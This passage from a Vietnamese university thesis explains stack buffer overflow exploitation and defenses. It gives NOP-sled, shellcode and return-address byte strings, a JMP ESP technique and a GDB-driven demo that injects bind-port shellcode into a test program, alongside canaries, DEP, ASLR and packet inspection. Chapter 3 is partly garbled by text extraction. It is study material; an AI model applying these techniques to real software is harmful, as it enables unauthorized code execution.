Theo cách thức xây dựng này, mã tấn công sẽ được đặt trọn trong chính bộ đệm

bị tràn, phần dữ liệu bị tràn lên sẽ được sử dụng để ghi đè tới SavedEBP và SavedEIP

có địa chỉ cao hơn so với bộ đệm. Dữ liệu để ghi đè lên SavedEIP chính là địa chỉ bắt

đầu của bộ đệm mà Shellcode đặt trong đó.

Page 41: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 41

Do vậy, chuỗi input nên được xây dựng theo các nguyên tắc sau:

- Tổng dung lượng chuỗi tấn công = Buffer + savedEBP + savedEIP

- Chèn các Byte thừa ở đầu của Shellcode khi đặt vào Bufferbằng các 1 byte

NOP(“\x90”)đặt vào đầu chuỗi tấn công

- Đặt Shellcode vào chuỗi tấn công (NOP + Shellcode <= Buffer)

- Chèn các Byte thừa còn lại bằng các bộ 4 byte address bắt đầu bộ đệm

- Địa chỉ return tới bộ đệm ở dạng Hexa và PUSH ngược vào Stack

Áp dụng ví dụ khai thác trên HĐH Ubuntu 12.04 LTS, xây dựng chuỗi tấn công

với các điều kiện ban đầu lấy từ ví dụ trên như sau:

- Dung lượng bộ đệm: 20Byte

- Địa chỉ bắt đầu của bộ đệm: 0xbffff2b4

- Dung lượng làm tràn:

20Byte buffer + 4Byte savedEBP + 4Byte savedEIP = 24Byte

- Shellcode tấn công: "\x31\xdb\xb0\x01\xcd\x80" = 6Byte (sys_exit())

Xây dựng chuỗi tấn công:

- NOP: “\x90” * 10 (10Byte)

- Shellcode: "\x31\xdb\xb0\x01\xcd\x80" (6Byte)

- Address: “\xb4\xf2\xff\xbf” * 3 (12Byte)

ta có chuỗi tấn công(28Byte):

“\x90”*10 + "\x31\xdb\xb0\x01\xcd\x80" + “0xbffff2b4”*3

Sau khi chèn chuỗi tấn công vừa xây dựng được vào bộ đệm, dữ liệu trong Stack

sẽ có dạng như Hình 14.

EIP register

0xbffff2b4

\xb4\xf2\xff\xbf SavedEIP

\xb4\xf2\xff\xbf SavedEBP

\xb4\xf2\xff\xbf

\xb0\x01\xcd\x80

\x90\x90\x31\xdb

\x90\x90\x90\x90

\x90\x90\x90\x90 0xbffff2b4

Hình 14: Dữ liệu trong bộ nhớ Stack sau khi chèn mã tấn công

Page 42: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 42

Phương pháp này có ưu điểm là đơn giản, dung lượng chuỗi tấn công nhỏ và tấn

công một cách tường minh khi nắm rõ được cấu trúc của bộ nhớ đệm. Tuy nhiên,

nhược điểm là khả năng tấn công không cao khi mà phải biết chính xác địa chỉ của bộ

nhớ đệm và đôi khi điều này là không khả thi.

2.4.4.2. Xây dựng chuỗi với mã tấn công đặt tại chính Stack Frame của hàm bị tràn

Với cách tấn công này, phần dữ liệu đầu vào sẽ được sử dụng để làm tràn hết

StackFrame của hàm bị tràn, và sau đó phần Shellcode sẽ được làm tràn lên phần dữ

liệu của StackFrame hàm trước đó. Do đó, phần địa chỉ lưu trong SavedEIP của

StackFrame hàm bị tràn sẽ phải trỏ đến địa chỉ bắt đầu của Shellcode đặt trong Stack

(Chính là địa chỉ của ESP).

Phương pháp này chỉ khác phương pháp đặt Shellcode tại chính bộ đệm của

StackFrame bị tấn công, tuy nhiên ưu điểm của nó là ta có thể xác định được địa chỉ

của Shellcode thông qua địa chỉ của ESP của StackFrame trước đó (Previous

StackFrame). Mô hình sắp xếp chuỗi tấn công trong bộ nhớ được mô tả như Hình 15.

Buffer [Jump Address] Shellcode

SavedEBP SavedEIP

Hình 15: Mô hình xây dựng chuỗi tấn công đặt Shellcode lên Previous Stack Frame

Như ta đã biết, một khi chương trình xuất hiện tràn bộ đệm, con trỏ Stack hiện tại

sẽ tự động được trỏ về vị trí StackFrame của hàm trước đó. Do vậy, ta chỉ cần thực

hiện một lệnh JUMP ESP để trỏ thanh ghi lệnh (EIP) tới địa chỉ của ESP, hoặc đơn

giản hơn là trỏ thanh ghi lệnh tới một địa chỉ lệnh thực hiện lệnh JUMP ESP, khi đó

tiếp theo con trỏ lệnh sẽ trỏ vào các lệnh ở địa chỉ của ESP. Địa chỉ của lệnh JUMP

ESP sẽ sử dụng chính địa chỉ của lệnh JUMP ESP bất kỳ của chính chương trình, mà

địa chỉ lệnh này thường là sẽ không thay đổi với cùng một phiên bản của chương trình.

Do đó cách thức này có khả năng thực hiện cao hơn so với phương pháp đặt chuỗi tấn

công tại Buffer bị tràn của hàm.

ESP register

[jump Address] JUMP ESP

EIP register

Page 43: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 43

Áp dụng ví dụ xây dựng chuỗi tấn công với các điều kiện ban đầu như sau:

- Dung lượng bộ đệm: 4Byte

- Shellcode: 6Byte

- Cấu trúc bộ đệm: 4Byte buffer → 4Byte SavedEBP → 4ByteSavedEIP → ESP

(ESP của Previous Frame)

Việc tìm địa chỉ của một lệnh JUMP ESP có sẵn của chương trình được thực hiện

dễ dàng bởi trình biên dịch thông qua các file .DLL của chính chương trình. Hình 16

mô tả một cách đơn giản để tìm với chương trình Ollydmp:

Hình 16: Tìm địa chỉ lệnh JUMP ESP trong file Executable bằng Ollydmg

Như vậy, chuỗi Shellcode xây dựng theo cách tấn công này như sau:

- NOP: “A” * 8 (8 Byte)

- Address: “\x65\x82\xA5\x7C” (4 Byte)

- Shellcode: "\x31\xdb\xb0\x01\xcd\x80" (6 Byte)

ta có chuỗi tấn công (38Byte):

“A”*8+ “\x65\x82\xA5\x7C”+ “\x90”*2 + "\x31\xdb\xb0\x01\xcd\x80"

Sau khi chèn chuỗi tấn công vừa xây dựng được vào bộ đệm, dữ liệu trong Stack

sẽ có dạng như Hình 17.

\x41\x41\x41\x41 \x41\x41\x41\x41 0x7CA58265 \x90\x90\x31\xdb\xb0\x01\xcd\x80

buffer SavedEBP SavedEIP

Hình 17: Dữ liệu trong bộ nhớ Stack sau khi chèn mã tấn công

ESP register

[0x7CA58265] JUMP ESP

EIP register

Page 44: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 44

Nhược điểm của phương pháp này so với phương pháp ở trên, đó là dung lượng

mã tấn công thường lớn hơn, và điều này đôi khi là không khả thi trong một vài trường

hợp.

2.5. Các biện pháp phòng chống tấn công lợi dụng lỗi tràn bộ đệm

Nhiều kỹ thuật đa dạng với các ưu nhược điểm khác nhau đã được sử dụng để

phát hiện hoặc ngăn chặn hiện tượng tràn bộ đệm. Cách đơn giản dễ tưởng tượng và

đáng tin cậy nhất để tránh hoặc ngăn chặn tràn bộ đệm là sử dụng bảo vệ tự động tại

mức ngôn ngữ lập trình - Tức là lựa chọn một ngôn ngữ lập trình chỉ chứa các hàm thư

viện an toàn để xây dựng chương trình (Java, C#, …). Tuy nhiên do nhiều nguyên

nhân từ thực tế như: Các yêu cầu về mặt kỹ thuật, yêu cầu từ đối tác kinh doanh,... lại

đòi hỏi sử dụng một ngôn ngữ không an toàn. Ví dụ như:

- Nếu sử dụng ngôn ngữ bậc cao với kiểu mạnh,chương trình dịch sẽ buộc phải

kiểm tra kích cỡ và các thao tác cho phép trên các biến, dẫn đến việc phải trả giá về

hiệu suất khi sử dụng tài nguyên và hạn chế truy cập đến phần cứng.

- Khi xây dựng ứng dụng cần một số code của các ngôn ngữ giống C, hoặc sử

dụng các thư viện xây dựng từ trước khi mà vấn đề lỗ hổng tràn bộ nhớ đệm vẫn chưa

được quan tâm đúng mức, dẫn đến vẫn tồn tại các lỗ hổng tràn bộ đệm cho chương

trình.

Vì những lý do trên cho nên để có thể giải quyết lỗ hổng tràn bộ đệm không thể

hoàn toàn giải quyết triệt để ở mức lập trình, mà còn cần phải nhiều kỹ thuật, giải pháp

cả từ phía người lập trình, trình biên dịch và cơ chế quản lý bộ đệm của hệ điều hành.

Thực tế, có hai cách phòng chống được sử dụng rộng rãi: Gia cố chương trình

ngay trong thời gian biên dịch và Kiểm soát tấn công chương trình đang có trong thời

gian chạy. Việc bảo vệ chương trình trong thời gian dịch được thực hiện bởi người lập

trình. Trong khi đó bảo vệ chương trình trong thời gian chạy chủ yếu được quản lý

bằng các cơ chế của trình biên dịch và hệ điều hành.

2.5.1. Bảo vệ trong thời gian dịch

2.5.1.1. Lựa chọn ngôn ngữ lập trình

Lựa chọn về ngôn ngữ lập trình có một ảnh hưởng lớn đối với sự xuất hiện của

lỗi tràn bộ đệm. C và C++ nằm trong số các ngôn ngữ lập trình thông dụng nhất, với

một lượng khổng lồ các phần mềm và thư viện đã được viết bằng hai ngôn ngữ này.

Tuy nhiên C và C++ không cung cấp sẵn các cơ chế chống lại việc truy nhập hoặc ghi

đè dữ liệu lên bất cứ phần nào của bộ nhớ thông qua các con trỏ bất hợp lệ.

Tuy nhiên, một số thư viện chuẩn của C++ (Thư viện khuôn mẫu chuẩn – STL)

cũng đã cung cấp nhiều cách an toàn để lưu trữ dữ liệu trong bộ đệm, và các lập trình

viên C cũng có thể tạo và sử dụng các tiện ích tương tự. Do đó, vấn đề ở đây là mỗi

Page 45: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 45

lập trình viên phải tự xác định và lựa chọn giữa hạn chế về tốc độ chương trình và độ

an toàn của chương trình.

Ngoài ra, có thể sử dụng một số biến thể của C ví dụ như hạn Cyclone. Cyclone

giúp ngăn chặn tốt hơn các lỗi tràn bộ đệm bằng việc như luôn luôn gắn thông tin về

kích thước mảng với các mảng.

Nhiều ngôn ngữ lập trình khác cung cấp việc kiểm tra tại thời gian chạy, việc

kiểm tra này gửi một cảnh báo hoặc ngoại lệ khi phát hiện C hoặc C++ ghi đè dữ liệu.

Ví dụ về các ngôn ngữ này rất đa dạng, từ Python tới Ada, từ Lisp tới Modula-2, và từ

Smalltalk tới OCaml. Các môi trường bytecode của Java và .NET cũng đòi hỏi kiểm

tra biên đối với tất cả các mảng.

Gần như tất cả các ngôn ngữ thông dịch sẽ bảo vệ chương trình trước các hiện

tượng tràn bộ đệm bằng cách thông báo một trạng thái lỗi (well-defined error). Thông

thường, khi một ngôn ngữ cung cấp đủ thông tin về kiểu để thực hiện kiểm tra biên,

ngôn ngữ đó thường cho phép lựa chọn kích hoạt hay tắt chế độ đó. Việc phân tích

tĩnh (Static analysis) có thể loại được nhiều kiểm tra kiểu và biên động, nhưng nếu các

cài đặt không tốt và các trường hợp phức tạp có thể gây ra giảm hiệu năng rất dáng kể.

Do đó, các kỹ sư phần mềm phải cẩn thận cân nhắc giữa chi phí dành cho an toàn và

chi phí về hiệu năng khi quyết định sẽ sử dụng ngôn ngữ nào, và cấu hình như thế nào

cho trình biên dịch .

2.5.1.2. Sử dụng các thư viện an toàn

Trong trường hợp vẫn phải sử dụng các ngôn ngữ không an toàn như C/C++, khi

đó việc cần thiết là sử dụng các thư viện được viết tốt và đã được kiểm thử, dành cho

các kiểu dữ liệu trừu tượng mà các thư viện này thực hiện tự động việc quản lý bộ

nhớtrong đó có kiểm tra biên thay vì sử dụng các hàm thư viện không an toàn có sẵn.

Trong các ngôn ngữ này, xâu ký tự và mảng là hai kiểu dữ liệu chính mà tại đó

các hiện tượng tràn bộ đệm thường xảy ra; do đó, các thư viện ngăn chặn lỗi tràn bộ

đệm tại các kiểu dữ liệu này có thể ngăn chặn được phần lớn các lỗi tràn bộ đệm.

Tuy nhiên, việc sử dụng các thư viện an toàn một cách không đúng vẫn có thể

dẫn đến tràn bộ đệm và đôi khi là nảy sinh thêm một số lỗ hổng khác.

Có thể tham khảo một tập các hàm mới an toàn hơn dựa trên các hàm vào ra dữ

liệu và các hàm xử lý xâu ký tự của thư viện C chuẩn tại Báo cáo kỹ thuật số 24731

của hội đồng tiêu chuẩn C Tháng 9 năm 2006 [4]

Các thư viện "an toàn" gồm The Better String Library, Arri Buffer API và Vstr.

Thư viện C của hệ điều hành OpenBSD cung cấp các hàm hữu ích như strlcpy(),

strlcat().

Page 46: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 46

2.5.1.3. Thiết lập các kỹ thuật lập trình an toàn

Nếu sử dụng ngôn ngữ tiềm ẩn không an toàn như C/C++, lập trình viên cần viết

code an toàn một cách tường minh. Luôn luôn xem an toàn tràn bộ đệm như một trong

các kỹ thuật lập trình an toàn. Chú ý đến các lỗi nhỏ và luôn luôn kiểm tra đủ không

gian trong các bộ đệm được sử dụng.

Có một số phương án như: dịch chương trình với chương trình dịch đặc biệt, sử

dụng các thư viện chuẩn an toàn, các hàm mới an toàn thay thế cho các hàm không an

toàn như strlcpy(). Cài đặt lại an toàn hơn một số hàm chuẩn như thư viện động,

chẳng hạn Libsafe.

2.5.1.4. Sử dụng các công cụ tự đông kiểm tra để rà soát lỗi chương trình

Để phòng ngừa các trường hợp tiềm ẩn lỗi tràn bộ đệm trong chương trình, đã có

một số công cụ gỡ rối tiên tiến đã được phát triển, ví dụ như các công cụ tự động tiêm

lỗi. Cơ chế hoạt động của các công cụ tiêm lỗi này chính là tự động tiêm ngẫu nhiên

dữ liệu nhằm tìm ra các thành phần dễ bị tổn thương của chương trình. Ngoài ra còn có

các công cụ phân tích tĩnh khác có chức năng tìm kiếm khả năng tràn bộ đệm của

chương trình [4].

2.5.2. Bảo vệ trong thời gian chạy

2.5.2.1. Chống tràn bộ nhớ đệm trên stack

Stack-smashing protection là kỹ thuật được dùng để phát hiện các hiện tượng tràn

bộ đệm phổ biến nhất. Kỹ thuật này kiểm tra xem stack đã bị sửa đổi hay chưa khi một

hàm trả về. Nếu stack đã bị sửa đổi, chương trình kết thúc bằng một lỗi Segmentation

fault. Các hệ thống sử dụng kỹ thuật này gồm có Libsafe, StackGuard và các bản vá

lỗi (Patch) ProPolice gcc.

Cơ chế hoạt động đó là sử dụng yếu tố ngẫu nhiên như bảo vệ ngăn xếp, kiểm tra

viết đè giữa biến cục bộ và con trỏ khung lưu trữ và địa chỉ trả về. Nếu phát hiện bộ

đệm bị tràn thì cho chương trình dừng.

2.5.2.2. Chế độ Data Execution Prevention

Chế độ cấm thực thi dữ liệu của Microsoft bảo vệ thẳng các con trỏ tới SEH

Exception Handler, không cho chúng bị ghi đè. Trong ngôn ngữ lập trình Forth có thể

bảo vệ Stack hơn nữa bằng cách phân tách stack thành hai phần, một phần dành cho dữ

liệu và một phần cho các bước trả về của hàm.

Nhược điểm của phương pháp này khi các dữ liệu nhạy cảm không phải địa chỉ

trả về vẫn có thể bị ghi đè đẫn đến chương trình vẫn có thể bị kẻ tấn công khai thác.

Page 47: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 47

2.5.2.3. Bảo vệ không gian thực thi

Bảo vệ không gian thực thi là một cách tiếp cận đối với việc chống tràn bộ đệm.

Kỹ thuật này ngăn chặn việc thực thi mã tại Stack hay Heap. Một kẻ tấn công có thể sử

dụng tràn bộ đệm để chèn một đoạn mã tùy ý vào bộ nhớ của một chương trình, nhưng

với bảo vệ không gian thực thi, mọi cố gắng chạy đoạn mã đó sẽ gây ra một ngoại lệ

(exception).

Một số CPU hỗ trợ một tính năng có tên bit NX ("No eXecute" - "Không thực

thi") hoặc bit XD ("eXecute Disabled" - "chế độ thực thi đã bị tắt" ). Khi kết hợp với

phần mềm, các tính năng này có thể được dùng để đánh dấu các trang dữ liệu (chẳng

hạn các trang chứa Stack và Heap) là đọc được nhưng không thực thi được [6].

Một số hệ điều hành Unix (chẳng hạn OpenBSD, Mac OS X) có kèm theo tính

năng bảo vệ không gian thực thi, các gói phần mềm tùy chọn bao gồm:

- PaX

- Exec-Shield

- Openwall

Các phiên bản mới của Microsoft Windows cũng hỗ trợ bảo vệ không gian thực

thi, với tên gọi Data-Execution-Prevention (ngăn chặn thực thi dữ liệu). Các phần

mềm gắn kèm (Add-on) bao gồm:

- SecureStack

- OverflowGuard

- BufferShield

- StackDefender

2.5.2.4. Ngẫu nhiên hóa sơ đồ không gian địa chỉ

Ngẫu nhiên hóa sơ đồ không gian địa chỉ (Address Space Layout Randomization-

ASLR) là một tính năng an ninh máy tính có liên quan đến việc sắp xếp vị trí các vùng

dữ liệu quan trọng (thường bao gồm nơi chứa mã thực thi và vị trí các thư viện, Heap

và Stack) một cách ngẫu nhiên trong không gian bộ nhớ ảo của một tiến trình [6].

Việc ngẫu nhiên hóa các địa chỉ bộ nhớ ảo mà các hàm và biến nằm tại đó làm

cho việc khai thác một lỗi tràn bộ đệm trở nên khó khăn hơn, buộc kẻ tấn công phải

điều chỉnh khai thác cho hợp với từng hệ thống cụ thể và còn hạn chế sự lây lan rộng

của các sâu Internet.

Page 48: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 48

2.5.2.5. Kiểm tra sâu đối với gói tin

Biện pháp kiểm tra sâu đối với gói tin (Deep Packet Inspection - DPI) có thể phát

hiện các cố gắng từ xa để khai thác lỗi tràn bộ đệm ngay từ biên giới mạng. Các kỹ

thuật này có khả năng chặn các gói tin có chứa tín hiệu của một vụ tấn công đã biết

hoặc chứa một chuỗi dài các lệnh No-Operation (NOP) .

Tuy nhiên việc rà soát các gói tin không phải là một phương pháp hiệu quả vì nó

chỉ có thể ngăn chặn các tấn công đã biết và thường yêu cầu năng lực phân tích xử lý

một lượng lớn các gói tin. Hơn nữa, kẻ tấn công có thể sử dụng mã alphanumeric,

metamorphic, và Shellcode có khả năng tự sửa để tránh bị phát hiện bởi việc phân tích

các gói tin.

2.6. Kết chương

Chương 2 giới thiệu tổng quan về cơ chế cấp phát bộ nhớ cho tiến trình và các sơ

hở trong các thư viện của ngôn ngữ lập trình như C/C++. Từ đó phân tích được cách

thức tìm kiếm lỗ hổng và các phương pháp tấn công lợi dụng lỗ hổng tràn bộ đệm trên

các HĐH họ Linux và cả các HĐH họ Windows.

Các lỗ hổng tràn bộ đệm xuất hiện khi các lập trình viên quan tâm không đúng

mực vấn đề tràn bộ đệm, dẫn đến sử dụng các thư viện không an toàn thao tác trên bộ

nhớ mà không có sự kiểm tra hay ràng buộc nào. Kẻ tấn công có thể tìm kiếm lỗ hổng

tràn bộ đệm trong chương trình, từ đó có thể khai thác lỗ hổng đó đế tấn công chương

trình cũng như hệ thống.

Các phương pháp phòng chống, bảo vệ tấn công tràn bộ đệm có thể được áp dụng

tại thời gian biên dịch của chương trình và thời gian chạy của chương trình. Trong khi

các biện pháp bảo vệ tại thời gian dịch thì chủ yếu được thực hiện bởi người lập trình

thì các biện pháp bảo vệ tại thời gian chạy được thực hiện bởi hệ điều hành. Một số

biện pháp bảo vệ phòng chống tấn công tràn bộ đệm thường được sử dụng là: Sử dụng

các thư viện an toàn, chế độ Data Execution Prevention, cơ chế Ngẫu nhiên hoá sơ đồ

không gian địa chỉ, cơ chế Kiểm tra sâu với gói tin và chế độ Bảo vệ không gian thực

thi.

Page 49: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI H

SVTH: Nguyễn Thăng Long, l

CHƯƠNG 3: MÔ PH

3.1. Mô phỏng tấn công l

Việc mô phỏng tấn công tr

Chương trình có giao diện d

đối số chuẩn và tiến hành xử lý chuỗi sau đó in ra kết quả l

Mục tiêu tấn công là d

thay đổi luồng thực thi hệ thống, tiến h

nghe các kết nối từ bên ngoài m

Shellcode của quá trình mô ph

chương trình bị tràn, cách th

tả trong phần 2.4.4.

3.1.1. Phát hiện chương tr

Phát hiện được chương tr

trường dữ liệu đầu vào có đ

được thể hiện bằng thông báo:

hiệu nhận biết lỗ hổng tràn b

như trong Hình 18.

Hình 18: Nhận biết tr

3.1.2. Tiến hành debug chương tr

Quá trình debug chương tr

chương trình đang được HĐH sử dụng. Do đó cần tiến h

HĐH của máy cần tấn công. Đối với HĐH Ubuntu, kịch bản tấn công sẽ sử dụng công

cụ GDB để debug ngay trong trư

dung lượng của bộ đệm, địa chỉ bắt đầu của bộ đệm đ

chức Stack của chương trình. Cách th

lượt trong các Hình 19, Hình

I HỌC

, lớp D09-CNPM3

MÔ PHỎNG TẤN CÔNG LỖI TRÀN BỘ ĐỆM

n công lỗi tràn bộ đêm trên các HĐH họ Linux

ấn công tràn bộ đệm được thực hiện trên chương tr

ện dòng lệnh (Command Line) nhận dữ liệu đầu v

ử lý chuỗi sau đó in ra kết quả là dòng chữ: normal……

à dựa vào lỗ hổng tràn bộ đệm của chương tr

ệ thống, tiến hành ngầm mở cổng mạng (Binding Port

ên ngoài một cách bất hợp pháp.

ình mô phỏng tấn công này sẽ được đặt tại bộ đệm của chính

thức cài đặt mã tấn công trong trường hợp n

ương trình có lỗ hổng tràn bộ đệm

ương trình có lỗi tràn bộ đệm sau khi tiến hành

ào có độ dài khác nhau. Dấu hiệu chương trình bị tr

ể hiện bằng thông báo: Segmentation Fault (core dumped)

àn bộ đệm tồn tại trong chương trình demo4

ận biết tràn bộ đệm trong chương trình demo4

ành debug chương trình

ương trình nhằm tìm ra được cấu trúc tổ chức bộ nhớ ảo của

ợc HĐH sử dụng. Do đó cần tiến hành trên HĐH gi

ủa máy cần tấn công. Đối với HĐH Ubuntu, kịch bản tấn công sẽ sử dụng công

ng trường hợp chương trình bị lỗi tràn bộ đệm, nhằm t

ợng của bộ đệm, địa chỉ bắt đầu của bộ đệm được cấp phát trong Stack v

ình. Cách thức tìm các yêu cầu cần thiết trên đư

Hình 20 và Hình 21 dưới dây.

Kết luận

Page 49

Ộ ĐỆM

trên chương trình demo4.

ận dữ liệu đầu vào thông qua

normal……

ương trình, tấn công

Binding Port), lắng

ợc đặt tại bộ đệm của chính

ờng hợp này đã được mô

ành thử nghiệm các

ị tràn bộ đệm sẽ

Segmentation Fault (core dumped) của HĐH. Dấu

ình demo4 được thể hiện

ình demo4

ợc cấu trúc tổ chức bộ nhớ ảo của

ành trên HĐH giống như

ủa máy cần tấn công. Đối với HĐH Ubuntu, kịch bản tấn công sẽ sử dụng công

ộ đệm, nhằm tìm ra

ợc cấp phát trong Stack và tổ

ên được mô tả lần

Page 50: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI H

SVTH: Nguyễn Thăng Long, l

Hình 19:

Hình 19 mô tả quá trình kh

vào có cấu trúc (244 ký tự A + 4 ký tự B + 4 ký tự C

lượng bộ đệm, địa chỉ bộ đệm trong bộ nhớ ảo v

xuất hiện lỗi, các thanh ghi v

hợp thanh ghi ESP sẽ quay về chứa địa chỉ S

Để xem giá trị được lưu trữ trong các thanh ghi tại thời điểm sau khi bộ đệm bị tr

dụng lệnh: (gdb) i r (Information

I HỌC

, lớp D09-CNPM3

: Debug chương trình bằng công cụ GDB

ình khởi động công cụ GDB và tiến hành tiêm đo

ự A + 4 ký tự B + 4 ký tự C), nhằm dễ dàng cho vi

ợng bộ đệm, địa chỉ bộ đệm trong bộ nhớ ảo và cấu trúc Stack. Khi ch

ất hiện lỗi, các thanh ghi và dữ liệu trong bộ nhớ sẽ được giữ nguy

ợp thanh ghi ESP sẽ quay về chứa địa chỉ Stack Pointer của hàm trư

ữ trong các thanh ghi tại thời điểm sau khi bộ đệm bị tr

(Information Registers).

Kết luận

Page 50

ành tiêm đoạn mã đầu

àng cho việc tìm dung

ấu trúc Stack. Khi chương trình

ợc giữ nguyên, trừ trường

àm trước hàm bị tràn.

ữ trong các thanh ghi tại thời điểm sau khi bộ đệm bị tràn, sử

Page 51: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI H

SVTH: Nguyễn Thăng Long, l

Hình 20: Dữ liệu trong các thanh ghi sau thời điểm h

Từ dữ liệu của các thanh ghi sau

thể thấy:

-Chuỗi “BBBB” đã ghi

“0x42424242” là giá trị Hexa c

- Chuỗi “CCCC” đã ghi đè lên v

“0x43434343” là giá trị Hexa c

Do vậy, dựa vào đoạn mã có c

lượng bộ nhớ đệm, vị trí của SavedEIP so v

Cấu trúc của Stack Frame đư

I HỌC

, lớp D09-CNPM3

ữ liệu trong các thanh ghi sau thời điểm hàm bị tr

ừ dữ liệu của các thanh ghi sau thời điểm hàm bị tràn như trong

ã ghi đè lên vị trí của SavedEBP (Thanh ghi EBP ch

Hexa của chuỗi “BBBB”).

hi đè lên vị trí của SavedEIP (Thanh ghi EIP ch

Hexa của chuỗi “CCCC”).

n mã có cấu trúc tiêm vào ta có thể ước lư

a SavedEIP so với bộ nhớ đệm.

Frame được mô tả rõ ràng hơn như trong Hình 21.

Kết luận

Page 51

ị tràn

như trong Hình 20, ta có

a SavedEBP (Thanh ghi EBP chứa giá trị

a SavedEIP (Thanh ghi EIP chứa giá trị

c lượng được dung

ình 21.

Page 52: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI H

SVTH: Nguyễn Thăng Long, l

Hình 21: D

3.1.3. Xây dựng chuỗi tấn công:

Dựa vào dữ liệu đầu vào (

trong Stack sau khi bộ đệm b

- Dung lượng của bộ đ

- Địa chỉ bắt đầu của b

- Vị trí của SavedEBP: Ngay sau b

- Vị trí của SavedEIP:

Do vậy, ta sẽ thiết kế mã ban

địa chỉ bộ đệm ghi đè lên SavedEIP là

Phụ lục 2. Cách thức xây dự

I HỌC

, lớp D09-CNPM3

Dữ liệu trong Stack sau khi bộ đệm bị tràn

ựng chuỗi tấn công:

u vào (244 ký tự “A” + 4 ký tự “B” + 4 ký tự “C”

m bị tràn, có thể ước lượng được các kết quả như sau:

đệm : 244Byte

a bộ đệm: 0xbffff0f4

a SavedEBP: Ngay sau bộ đệm với dung lượng 4 Byte

Ngay sau SavedEBP dung lượng 4 Byte

mã ban đầu như mô tả trong Hình 22 dưới đây

m ghi đè lên SavedEIP là 0xbffff104. Shellcode Binding Port

ựng mã input tấn công đã được trình bày trong m

Kết luận

Page 52

“C” ) và dữ liệu

như sau:

i đây, với lựa chọn

Shellcode Binding Port cho như

c trình bày trong mục 2.4.

Page 53: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Kết luận

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 53

Hình 22: Xây dựng chuỗi input tấn công

3.1.4. Kết quả demo

Sau khi chuỗi Input tấn công đã được xây dựng xong tiến hành tiêm vào thông

qua bộ nhập của chương trình. Trong ví dụ này sử dụng trình thông dịch ngôn ngữ

kịch bản Python để truyền dữ liệu vào chương trình. Việc sử dụng các cách thức khác

nhau để nhập dữ liệu vào chương trình qua bộ nhập chuẩn giúp mã tấn công được rút

gọn về dung lượng, trực quan và đôi khi còn giúp ích khi muốn truyền các ký tự đặc

biệt hoặc truyền mã qua các gói tin với dung lượng nhỏ. Kết quả của chương trình thể

hiện ở Hình 23.

Hình 23: Chương trình sau khi bị tiêm mã tấn công qua bộ nhập

Page 54: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI H

SVTH: Nguyễn Thăng Long, l

Như ta thấy, thể hiện bên ngoài c

ngoại trừ việc không kết thúc m

của chương trình đã bị chuy

tiêm vào, và HĐH vẫn nghĩ r

này sẽ là rất nguy hiểm nế

(ROOT) dẫn đến mã lệnh củ

24 cho thấy HĐH đã thực thi hoàn t

(Cổng 2994 do chương trình demo4 m

pháp.

Hình 24: Kiếm tra các k

Như vậy, các bước tiến hành

cổng lắng nghe kết nối từ bên ngoài đ

Tuy nhiên, việc xây dự

tấn công một chương trình l

chế bảo vệ chương trình từ

thường phức tạp hơn rất nhi

I HỌC

, lớp D09-CNPM3

n bên ngoài của chương trình vẫn không có thay đ

t thúc một cách bình thường. Nguyên nhân là do lu

